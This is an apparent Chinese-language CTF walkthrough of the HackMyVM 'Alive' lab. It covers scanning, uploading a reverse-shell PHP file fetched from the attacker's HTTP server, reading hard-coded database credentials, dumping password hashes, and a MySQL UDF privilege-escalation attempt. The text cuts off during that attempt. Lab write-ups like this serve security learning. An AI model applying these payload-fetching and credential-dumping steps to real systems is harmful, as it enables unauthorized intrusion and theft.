![\"image-20240423181918591\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017444.png\")
<\/div>\n
![\"image-20240423181724943\"](\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404232017445.png\")
<\/div><\/p>\n\u4fe1\u606f\u641c\u96c6<\/h2>\n\u7aef\u53e3\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ rustscan -a 192.168.0.149 -- -A\n.----. .-. .-. .----..---. .----. .---. .--. .-. .-.\n| {} }| { } |{ {__ {_ _}{ {__ \/ ___} \/ {} \\ | `| |\n| .-. \\| {_} |.-._} } | | .-._} }\\ }\/ \/\\ \\| |\\ |\n`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n\ud83d\ude35 https:\/\/admin.tryhackme.com\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.0.149:22\nOpen 192.168.0.149:80\n[~] Starting Script(s)\n[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")\n\n[~] Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-04-23 06:17 EDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 06:17\nCompleted NSE at 06:17, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 06:17\nCompleted NSE at 06:17, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 06:17\nCompleted NSE at 06:17, 0.00s elapsed\nInitiating Ping Scan at 06:17\nScanning 192.168.0.149 [2 ports]\nCompleted Ping Scan at 06:17, 0.00s elapsed (1 total hosts)\nInitiating Parallel DNS resolution of 1 host. at 06:17\nCompleted Parallel DNS resolution of 1 host. at 06:17, 0.01s elapsed\nDNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]\nInitiating Connect Scan at 06:17\nScanning alive (192.168.0.149) [2 ports]\nDiscovered open port 80\/tcp on 192.168.0.149\nDiscovered open port 22\/tcp on 192.168.0.149\nCompleted Connect Scan at 06:17, 0.00s elapsed (2 total ports)\nInitiating Service scan at 06:17\nScanning 2 services on alive (192.168.0.149)\nCompleted Service scan at 06:18, 6.04s elapsed (2 services on 1 host)\nNSE: Script scanning 192.168.0.149.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.31s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.01s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.00s elapsed\nNmap scan report for alive (192.168.0.149)\nHost is up, received syn-ack (0.00043s latency).\nScanned at 2024-04-23 06:17:58 EDT for 6s\n\nPORT STATE SERVICE REASON VERSION\n22\/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)\n| ssh-hostkey: \n| 3072 26:9c:17:ef:21:36:3d:01:c3:1d:6b:0d:47:11:cd:58 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTL7GmZIj6NqWyxTUtZn6hsRMQgbBHIKFgQmG0\/nOM+RnEIU0a3FQNB1REG3ohE1tpL1PGb\/DP1dYfMNKNzfOd\/tnCu1M6CzU3\/qDlPddeuKZayIrK6KXAjbcmUzw9tKhARTRqKm4IK8\/MCKGVDeHX1fK70k9y1nQHm5hfE3k\/thbnHTEEC9vPkgBlIehXWtXKzfKyYNY8vO1+6\/Mdyb2wbh1L7vtP8um5saQiJo5sCFzHk59F\/aAfiuXZLcGob3JDqMYU85fdyo71gjbq\/qciwGRAGTkb00vPR2xeGlAhYQLToE4QByN0K\/KJtKfr5IYv\/9jBcB+wHCVwsGgrS1ppsHktk0z1l9X4Zvz8jvGUwvNTML6CcKtQwEtxrFNdF3gZYTYqX9z2O5+EAf3R6QyDPFKXr14d67eT\/x+dRmCOxWir4ASSj8g48epo2Tb3x2kxI9M7n16474VV9KfCwQOa19aL7HvY8iA+QFCHhBOSD2FEdVVS3hoQzVFvqVfD+H8=\n| 256 29:26:68:49:b0:37:5c:0e:7b:6d:81:8d:60:98:8d:fc (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ7MmcAJiA3Fcr1QL\/is5Z4RmZEGe6CI4QN09vxmoL9hzzkPIzjwUgi8X\/ss2DfFRL6Mq0QYwyFJUCOec6L60ZA=\n| 256 13:2e:13:19:0c:9d:a3:a7:3e:b8:df:ab:97:08:41:88 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMTydr+AvAZMJXjRDFddEqebjeQuZDKQPqPFTYxgOLc4\n80\/tcp open http syn-ack Apache httpd 2.4.54 ((Debian))\n| http-methods: \n|_ Supported Methods: GET HEAD POST OPTIONS\n|_http-title: Host alive\n|_http-server-header: Apache\/2.4.54 (Debian)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 06:18\nCompleted NSE at 06:18, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 6.95 seconds<\/code><\/pre>\n\u76ee\u5f55\u626b\u63cf<\/h3>\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ gobuster dir -u http:\/\/192.168.0.149\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,bak,jpg,txt,html \n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url: http:\/\/192.168.0.149\/\n[+] Method: GET\n[+] Threads: 10\n[+] Wordlist: \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes: 404\n[+] User Agent: gobuster\/3.6\n[+] Extensions: zip,bak,jpg,txt,html,php\n[+] Timeout: 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.php (Status: 200) [Size: 1597]\n\/.php (Status: 403) [Size: 278]\n\/.html (Status: 403) [Size: 278]\n\/tmp (Status: 301) [Size: 312] [--> http:\/\/192.168.0.149\/tmp\/]\n\/.php (Status: 403) [Size: 278]\n\/.html (Status: 403) [Size: 278]\n\/server-status (Status: 403) [Size: 278]\nProgress: 1543920 \/ 1543927 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n\u8e29\u70b9<\/h3>\n
![\"image-20240423181945106\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div>
\n<\/div><\/p>\n\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
www.baidu.com<\/code><\/pre>\n<\/div><\/p>\n127.0.0.1\/index.php<\/code><\/pre>\n<\/div><\/p>\ndns\u89e3\u6790<\/h3>\n192.168.0.149 alive.hmv<\/code><\/pre>\n\u654f\u611f\u76ee\u5f55<\/h3>\n
<\/div><\/p>\n\u770b\u770b\u53ef\u5426\u8bfb\u53d6\u8fdc\u7a0b\u6587\u4ef6:<\/p>\n
<\/div><\/p>\n\u4f46\u662fphp\u6587\u4ef6\u4e0d\u884c\uff0c\u53ef\u80fd\u5b58\u5728\u8fc7\u6ee4\uff0c\u5c1d\u8bd5\u91cd\u5b9a\u5411\u4e00\u4e0b\uff1a<\/p>\n
\n\u8fd9\u91cc\u91cd\u5b9a\u5411\u5199\u7684\u662f> tmp<\/code>\u800c\u975e> \/tmp<\/code>\u54e6\uff01<\/p>\n\u5728html<\/code>\u76ee\u5f55\u4e0b\u5b58\u5728\u4e00\u4e2atmp<\/code>\u76ee\u5f55<\/p>\n<\/blockquote>\nhttp:\/\/192.168.0.143:8888\/revershell.php > tmp\/revershell.php<\/code><\/pre>\n<\/div><\/p>\n\u8bbe\u7f6e\u76d1\u542c\u5e76\u70b9\u51fb\u6fc0\u6d3b\uff01<\/p>\n
<\/div><\/p>\n\u63d0\u6743<\/h2>\n\u4fe1\u606f\u641c\u96c6<\/h3>\n(remote) www-data@alive.hmv:\/$ cd \/var\/www\/html\n(remote) www-data@alive.hmv:\/var\/www\/html$ ls -la\ntotal 16\ndrwxr-xr-x. 3 root root 4096 Jan 12 2023 .\ndrwxr-xr-x. 4 root root 4096 Jan 12 2023 ..\n-r--r--r--. 1 www-data www-data 2001 Jan 12 2023 index.php\ndrwxr-xr-x. 2 www-data www-data 4096 Apr 23 12:35 tmp\n(remote) www-data@alive.hmv:\/var\/www\/html$ cd ..\/..\/\n(remote) www-data@alive.hmv:\/var$ ls -la\ntotal 48\ndrwxr-xr-x. 12 root root 4096 Jan 11 2023 .\ndrwxr-xr-x. 18 root root 4096 Jan 17 2023 ..\ndrwxr-xr-x. 2 root root 4096 Jan 26 2023 backups\ndrwxr-xr-x. 10 root root 4096 Jan 17 2023 cache\ndrwxr-xr-x. 29 root root 4096 Jan 17 2023 lib\ndrwxrwsr-x. 2 root staff 4096 Dec 9 2022 local\nlrwxrwxrwx. 1 root root 9 Jan 11 2023 lock -> \/run\/lock\ndrwxr-xr-x. 9 root root 4096 Apr 23 2024 log\ndrwxrwsr-x. 2 root mail 4096 Jan 11 2023 mail\ndrwxr-xr-x. 2 root root 4096 Jan 11 2023 opt\nlrwxrwxrwx. 1 root root 4 Jan 11 2023 run -> \/run\ndrwxr-xr-x. 4 root root 4096 Jan 17 2023 spool\ndrwxrwxrwt 2 root root 4096 Apr 23 2024 tmp\ndrwxr-xr-x. 4 root root 4096 Jan 12 2023 www\n(remote) www-data@alive.hmv:\/var$ cd mail\n(remote) www-data@alive.hmv:\/var\/mail$ ls -la\ntotal 8\ndrwxrwsr-x. 2 root mail 4096 Jan 11 2023 .\ndrwxr-xr-x. 12 root root 4096 Jan 11 2023 ..\n(remote) www-data@alive.hmv:\/var\/mail$ cd ..\/backups\/\n(remote) www-data@alive.hmv:\/var\/backups$ ls -la\n............\n(remote) www-data@alive.hmv:\/var\/backups$ cd ..\/tmp\n(remote) www-data@alive.hmv:\/var\/tmp$ ls -la\ntotal 8\ndrwxrwxrwt 2 root root 4096 Apr 23 2024 .\ndrwxr-xr-x. 12 root root 4096 Jan 11 2023 ..\n(remote) www-data@alive.hmv:\/var\/tmp$ sudo -l\n\nWe trust you have received the usual lecture from the local System\nAdministrator. It usually boils down to these three things:\n\n #1) Respect the privacy of others.\n #2) Think before you type.\n #3) With great power comes great responsibility.\n\n[sudo] password for www-data: \nsudo: a password is required\n(remote) www-data@alive.hmv:\/home\/alexandra$ ss -tnlup\nNetid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process \nudp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* \ntcp LISTEN 0 4096 127.0.0.1:8000 0.0.0.0:* \ntcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* \ntcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* \ntcp LISTEN 0 511 *:80 *:* \ntcp LISTEN 0 128 [::]:22 [::]:* \n(remote) www-data@alive.hmv:\/home\/alexandra$ curl 127.0.0.1:8000\n<!DOCTYPE html>\n<html>\n <head>\n <title>Backup<\/title>\n <\/head>\n <body>\n <p>Only local zipped backup.<\/p>\n\n <\/body>\n<\/html>\n(remote) www-data@alive.hmv:\/home\/alexandra$ cd \/var\/www\n(remote) www-data@alive.hmv:\/var\/www$ ls\ncode html\n(remote) www-data@alive.hmv:\/var\/www$ cd code\n(remote) www-data@alive.hmv:\/var\/www\/code$ ls -la\ntotal 436\ndrwxr-xr-x. 3 root root 4096 Jan 12 2023 .\ndrwxr-xr-x. 4 root root 4096 Jan 12 2023 ..\n-r--r--r--. 1 www-data www-data 1603 Jan 12 2023 index.php\ndrwxr-xr-x 11 www-data www-data 4096 Jan 12 2023 qdpmApp\n-r--r--r--. 1 www-data www-data 428145 Jan 12 2023 troll.jpg\n(remote) www-data@alive.hmv:\/var\/www\/code$ cat index.php \n<!DOCTYPE html>\n<html>\n<head>\n <title>Alive Restricted Zone<\/title>\n <style>\n body {\n background-color: lightblue;\n }\n img {\n width: 60%;\n display: block;\n margin-left: auto;\n margin-right: auto;\n margin-top: 20px; \/* added *\/\n }\n <\/style>\n<\/head>\n<body>\n <form action="index.php" method="post">\n <label for="digit">Enter your 15 digit code : <\/label>\n <input type="password" id="digit" name="digit" >\n <input type="submit" value="Valider">\n <\/form>\n <img src="troll.jpg" alt="#" style="width:30%;display:block;margin-left:auto;margin-right:auto;margin-top:150px;">\n\n<?php\n $servername = "localhost";\n $username = "admin";\n $password = "HeLL0alI4ns";\n $dbname = "digitcode";\n\n $conn = new mysqli($servername, $username, $password, $dbname);\n\n if ($conn->connect_error) {\n die("Connection failed: " . $conn->connect_error);\n }\n\n if ($_SERVER["REQUEST_METHOD"] == "POST") {\n $digit = mysqli_real_escape_string($conn, $_POST["digit"]);\n\n $stmt = $conn->prepare("SELECT digit, url FROM code, path WHERE code.id = path.id and code.id = ?");\n $stmt->bind_param("i", $id);\n $id = 1;\n $stmt->execute();\n $stmt->bind_result($correct_digit, $path);\n $stmt->fetch();\n $stmt->close();\n\n if ($digit === $correct_digit) {\n header("Location: $path");\n exit;\n } else {\n echo "Wrong digit code.";\n }\n }\n\n $conn->close();\n?>\n<\/body>\n<\/html><\/code><\/pre>\n\u67e5\u770b\u6570\u636e\u5e93<\/h3>\n
\u627e\u5230\u6570\u636e\u5e93\u5bc6\u7801\uff1a<\/p>\n
admin\nHeLL0alI4ns<\/code><\/pre>\n(remote) www-data@alive.hmv:\/var\/www\/code$ mysql -u admin -p\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 8\nServer version: 10.3.25-MariaDB MariaDB Server\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> show databases;\n+--------------------+\n| Database |\n+--------------------+\n| digitcode |\n| information_schema |\n| mysql |\n| performance_schema |\n| qdpm_db |\n+--------------------+\n5 rows in set (0.001 sec)\n\nMariaDB [(none)]> use digitcode;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [digitcode]> show tables;\n+---------------------+\n| Tables_in_digitcode |\n+---------------------+\n| code |\n| path |\n+---------------------+\n2 rows in set (0.000 sec)\n\nMariaDB [digitcode]> use qdpm_db;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [qdpm_db]> show tables;\n+----------------------+\n| Tables_in_qdpm_db |\n+----------------------+\n| attachments |\n| configuration |\n| departments |\n| discussions |\n| discussions_comments |\n| discussions_reports |\n| discussions_status |\n| events |\n| extra_fields |\n| extra_fields_list |\n| phases |\n| phases_status |\n| projects |\n| projects_comments |\n| projects_phases |\n| projects_reports |\n| projects_status |\n| projects_types |\n| tasks |\n| tasks_comments |\n| tasks_groups |\n| tasks_labels |\n| tasks_priority |\n| tasks_status |\n| tasks_types |\n| tickets |\n| tickets_comments |\n| tickets_reports |\n| tickets_status |\n| tickets_types |\n| user_reports |\n| users |\n| users_groups |\n| versions |\n| versions_status |\n+----------------------+\n35 rows in set (0.000 sec)\n\nMariaDB [qdpm_db]> select * from users;\n+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+\n| id | users_group_id | name | photo | email | culture | password | active | skin |\n+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+\n| 3 | 1 | administrator | | administrator@alive.hmv | | $P$EXzIrSSSu7iTu2wc9sFTh29F7Ajn371 | 1 | NULL |\n+----+----------------+---------------+-------+-------------------------+---------+------------------------------------+--------+------+\n1 row in set (0.000 sec)\n\nMariaDB [qdpm_db]> exit\nBye<\/code><\/pre>\n\u5c1d\u8bd5\u7206\u7834\u4e00\u4e0b\uff0c\u4f46\u662f\u672a\u679c\uff0c\u7ee7\u7eed\u5c1d\u8bd5\uff1a<\/p>\n
(remote) www-data@alive.hmv:\/var\/www\/code$ mysql -u admin -p\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 9\nServer version: 10.3.25-MariaDB MariaDB Server\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> show databases;\n+--------------------+\n| Database |\n+--------------------+\n| digitcode |\n| information_schema |\n| mysql |\n| performance_schema |\n| qdpm_db |\n+--------------------+\n5 rows in set (0.000 sec)\n\nMariaDB [(none)]> use mysql;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [mysql]> show tables;\n+---------------------------+\n| Tables_in_mysql |\n+---------------------------+\n| column_stats |\n| columns_priv |\n| db |\n| event |\n| func |\n| general_log |\n| gtid_slave_pos |\n| help_category |\n| help_keyword |\n| help_relation |\n| help_topic |\n| host |\n| index_stats |\n| innodb_index_stats |\n| innodb_table_stats |\n| plugin |\n| proc |\n| procs_priv |\n| proxies_priv |\n| roles_mapping |\n| servers |\n| slow_log |\n| table_stats |\n| tables_priv |\n| time_zone |\n| time_zone_leap_second |\n| time_zone_name |\n| time_zone_transition |\n| time_zone_transition_type |\n| transaction_registry |\n| user |\n+---------------------------+\n31 rows in set (0.000 sec)\n\nMariaDB [mysql]> desc user;\n+------------------------+-----------------------------------+------+-----+----------+-------+\n| Field | Type | Null | Key | Default | Extra |\n+------------------------+-----------------------------------+------+-----+----------+-------+\n| Host | char(60) | NO | PRI | | |\n| User | char(80) | NO | PRI | | |\n| Password | char(41) | NO | | | |\n| Select_priv | enum('N','Y') | NO | | N | |\n| Insert_priv | enum('N','Y') | NO | | N | |\n| Update_priv | enum('N','Y') | NO | | N | |\n| Delete_priv | enum('N','Y') | NO | | N | |\n| Create_priv | enum('N','Y') | NO | | N | |\n| Drop_priv | enum('N','Y') | NO | | N | |\n| Reload_priv | enum('N','Y') | NO | | N | |\n| Shutdown_priv | enum('N','Y') | NO | | N | |\n| Process_priv | enum('N','Y') | NO | | N | |\n| File_priv | enum('N','Y') | NO | | N | |\n| Grant_priv | enum('N','Y') | NO | | N | |\n| References_priv | enum('N','Y') | NO | | N | |\n| Index_priv | enum('N','Y') | NO | | N | |\n| Alter_priv | enum('N','Y') | NO | | N | |\n| Show_db_priv | enum('N','Y') | NO | | N | |\n| Super_priv | enum('N','Y') | NO | | N | |\n| Create_tmp_table_priv | enum('N','Y') | NO | | N | |\n| Lock_tables_priv | enum('N','Y') | NO | | N | |\n| Execute_priv | enum('N','Y') | NO | | N | |\n| Repl_slave_priv | enum('N','Y') | NO | | N | |\n| Repl_client_priv | enum('N','Y') | NO | | N | |\n| Create_view_priv | enum('N','Y') | NO | | N | |\n| Show_view_priv | enum('N','Y') | NO | | N | |\n| Create_routine_priv | enum('N','Y') | NO | | N | |\n| Alter_routine_priv | enum('N','Y') | NO | | N | |\n| Create_user_priv | enum('N','Y') | NO | | N | |\n| Event_priv | enum('N','Y') | NO | | N | |\n| Trigger_priv | enum('N','Y') | NO | | N | |\n| Create_tablespace_priv | enum('N','Y') | NO | | N | |\n| Delete_history_priv | enum('N','Y') | NO | | N | |\n| ssl_type | enum('','ANY','X509','SPECIFIED') | NO | | | |\n| ssl_cipher | blob | NO | | NULL | |\n| x509_issuer | blob | NO | | NULL | |\n| x509_subject | blob | NO | | NULL | |\n| max_questions | int(11) unsigned | NO | | 0 | |\n| max_updates | int(11) unsigned | NO | | 0 | |\n| max_connections | int(11) unsigned | NO | | 0 | |\n| max_user_connections | int(11) | NO | | 0 | |\n| plugin | char(64) | NO | | | |\n| authentication_string | text | NO | | NULL | |\n| password_expired | enum('N','Y') | NO | | N | |\n| is_role | enum('N','Y') | NO | | N | |\n| default_role | char(80) | NO | | | |\n| max_statement_time | decimal(12,6) | NO | | 0.000000 | |\n+------------------------+-----------------------------------+------+-----+----------+-------+\n47 rows in set (0.001 sec)\n\nMariaDB [mysql]> select User,Password from user;\n+----------+-------------------------------------------+\n| User | Password |\n+----------+-------------------------------------------+\n| root | *88B2B2E7392C149CE6B704871A568FD35798F9B8 |\n| root | *88B2B2E7392C149CE6B704871A568FD35798F9B8 |\n| root | *88B2B2E7392C149CE6B704871A568FD35798F9B8 |\n| admin | *D805A6D02F8831ADFB8F1D3E3244B98DF5D5B792 |\n| qdpmUser | *D805A6D02F8831ADFB8F1D3E3244B98DF5D5B792 |\n| user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |\n| admin | *D805A6D02F8831ADFB8F1D3E3244B98DF5D5B792 |\n+----------+-------------------------------------------+\n7 rows in set (0.000 sec)\n\nMariaDB [mysql]> exit\nBye<\/code><\/pre>\n\u5c1d\u8bd5\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n
<\/div><\/p>\n\u989d\uff0c\u53ef\u60dc\u662fmysql\u7684\u5bc6\u7801\u3002\u3002\u3002\u4f46\u662f\u4e5f\u8bb0\u4e0b\u6765\uff0c\u53ef\u80fd\u5b58\u5728\u590d\u7528\uff01<\/p>\n
thecondor\npassword<\/code><\/pre>\n\u65b9\u6cd5\u4e00\uff1a\u5c1d\u8bd5UDF\u63d0\u6743\uff08\u5931\u8d25\uff09<\/h3>\n
\u56e0\u4e3a\u6211\u4eec\u62e5\u6709\u9ad8\u6743\u9650\u7684mysql\u7528\u6237\uff0c\u6240\u4ee5\u53ef\u4ee5\u8fdb\u884c\u5c1d\u8bd5\uff0c\u5148\u770b\u4e00\u4e0b\u662f\u5426\u5177\u6709\u76f8\u5173\u6743\u9650\uff1a<\/p>\n
(remote) www-data@alive.hmv:\/$ mysql -u root -p\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 15\nServer version: 10.3.25-MariaDB MariaDB Server\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> use mysql;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [mysql]> show variables like "%secure_file_priv%";\n+------------------+-------+\n| Variable_name | Value |\n+------------------+-------+\n| secure_file_priv | |\n+------------------+-------+\n1 row in set (0.001 sec)<\/code><\/pre>\n\u53d1\u73b0\u6ca1\u6709\u9650\u5236\uff0c\u53ef\u4ee5\u8fdb\u884c\u63d0\u6743\uff01<\/p>\n
\necure_file_priv<\/code>\u662f\u7528\u6765\u9650\u5236load dumpfile<\/code>\u3001into outfile<\/code>\u3001load_file()<\/code> \u51fd\u6570\u5728\u54ea\u4e2a\u76ee\u5f55\u4e0b\u62e5\u6709\u4e0a\u4f20\u6216\u8005\u8bfb\u53d6\u6587\u4ef6\u7684\u6743\u9650\u3002<\/p>\n\u5f53 secure_file_priv<\/code> \u7684\u503c\u4e3a null<\/code> \uff0c\u8868\u793a\u9650\u5236 mysql<\/code> \u4e0d\u5141\u8bb8\u5bfc\u5165\/\u5bfc\u51fa\uff0c\u6b64\u65f6\u65e0\u6cd5\u63d0\u6743\u3002<\/p>\n\u5f53 secure_file_priv<\/code> \u7684\u503c\u4e3a \/tmp\/<\/code> \uff0c\u8868\u793a\u9650\u5236 mysql<\/code> \u7684\u5bfc\u5165\/\u5bfc\u51fa\u53ea\u80fd\u53d1\u751f\u5728 \/tmp\/<\/code> \u76ee\u5f55\u4e0b\uff0c\u6b64\u65f6\u4e5f\u65e0\u6cd5\u63d0\u6743\u3002<\/p>\n\u5f53secure_file_priv<\/code> \u7684\u503c\u6ca1\u6709\u5177\u4f53\u503c\u65f6\uff0c\u8868\u793a\u4e0d\u5bf9 mysqld<\/code> \u7684\u5bfc\u5165\/\u5bfc\u51fa\u505a\u9650\u5236\uff0c\u6b64\u65f6\u53ef\u63d0\u6743\u3002<\/p>\n<\/blockquote>\n\u67e5\u770b\u4e00\u4e0bplugin<\/code><\/p>\nMariaDB [mysql]> select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);\n+-----------+------+-----------------------+\n| host | user | plugin |\n+-----------+------+-----------------------+\n| localhost | root | mysql_native_password |\n| 127.0.0.1 | root | |\n| ::1 | root | |\n+-----------+------+-----------------------+\n3 rows in set (0.000 sec)<\/code><\/pre>\n\nplugin\u503c\u8868\u793amysql\u7528\u6237\u7684\u8ba4\u8bc1\u65b9\u5f0f\u3002\u5f53 plugin \u7684\u503c\u4e3a\u7a7a\u65f6\u4e0d\u53ef\u63d0\u6743\uff0c\u4e3a mysql_native_password<\/code> \u65f6\u53ef\u901a\u8fc7\u8d26\u6237\u8fde\u63a5\u63d0\u6743\u3002\u9ed8\u8ba4\u4e3amysql_native_password<\/code>\u3002\u53e6\u5916\uff0cmysql\u7528\u6237\u8fd8\u9700\u5bf9\u6b64plugin\u76ee\u5f55\u5177\u6709\u5199\u6743\u9650\u3002<\/p>\n<\/blockquote>\n\u53ef\u4ee5\u53c2\u8003https:\/\/book.hacktricks.xyz\/network-services-pentesting\/pentesting-mysql#privilege-escalation-via-library<\/p>\n
(remote) www-data@alive.hmv:\/$ uname -a\nLinux alive.hmv 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 GNU\/Linux\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ locate "*lib_mysqludf_sys*" \n\n\/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_32.dll\n\/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_32.so\n\/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_64.dll\n\/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_64.so\n\/usr\/share\/sqlmap\/data\/udf\/mysql\/linux\/32\/lib_mysqludf_sys.so_\n\/usr\/share\/sqlmap\/data\/udf\/mysql\/linux\/64\/lib_mysqludf_sys.so_\n\/usr\/share\/sqlmap\/data\/udf\/mysql\/windows\/32\/lib_mysqludf_sys.dll_\n\/usr\/share\/sqlmap\/data\/udf\/mysql\/windows\/64\/lib_mysqludf_sys.dll_\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ cp \/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_64.so .\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Alive]\n\u2514\u2500$ ls -la \ntotal 28\ndrwxr-xr-x 2 kali kali 4096 Apr 23 07:27 .\ndrwxr-xr-x 65 kali kali 4096 Apr 23 06:16 ..\n-rw-r--r-- 1 kali kali 35 Apr 23 06:46 hash.txt\n-rw-r--r-- 1 kali kali 8040 Apr 23 07:27 lib_mysqludf_sys_64.so\n-rw-r--r-- 1 kali kali 3911 Apr 23 06:28 revershell.php\n-rw-r--r-- 1 kali kali 6 Apr 23 06:30 test<\/code><\/pre>\n\u7136\u540e\u7a7f\u8fc7\u6765\uff1a<\/p>\n
# kali\npython3 -m http.server 8888<\/code><\/pre>\n# attacked\ncd \/tmp\nwget http:\/\/192.168.0.143:8888\/lib_mysqludf_sys_64.so<\/code><\/pre>\n\u7136\u540e\u5c1d\u8bd5udf\u63d0\u6743\uff1a<\/p>\n
(remote) www-data@alive.hmv:\/tmp$ mysql -u root -p\nEnter password: \nWelcome to the MariaDB monitor. Commands end with ; or \\g.\nYour MariaDB connection id is 16\nServer version: 10.3.25-MariaDB MariaDB Server\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> use mysql;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [mysql]> create table npn(line blob);\nQuery OK, 0 rows affected (0.004 sec)\n\nMariaDB [mysql]> insert into npn values(load_file('\/tmp\/lib_mysqludf_sys64.so'));\nQuery OK, 1 row affected (0.001 sec)\n\nMariaDB [mysql]> show variables like '%plugin%';\n+-----------------+------------------------------+\n| Variable_name | Value |\n+-----------------+------------------------------+\n| plugin_dir | \/usr\/local\/mysql\/lib\/plugin\/ |\n| plugin_maturity | gamma |\n+-----------------+------------------------------+\n2 rows in set 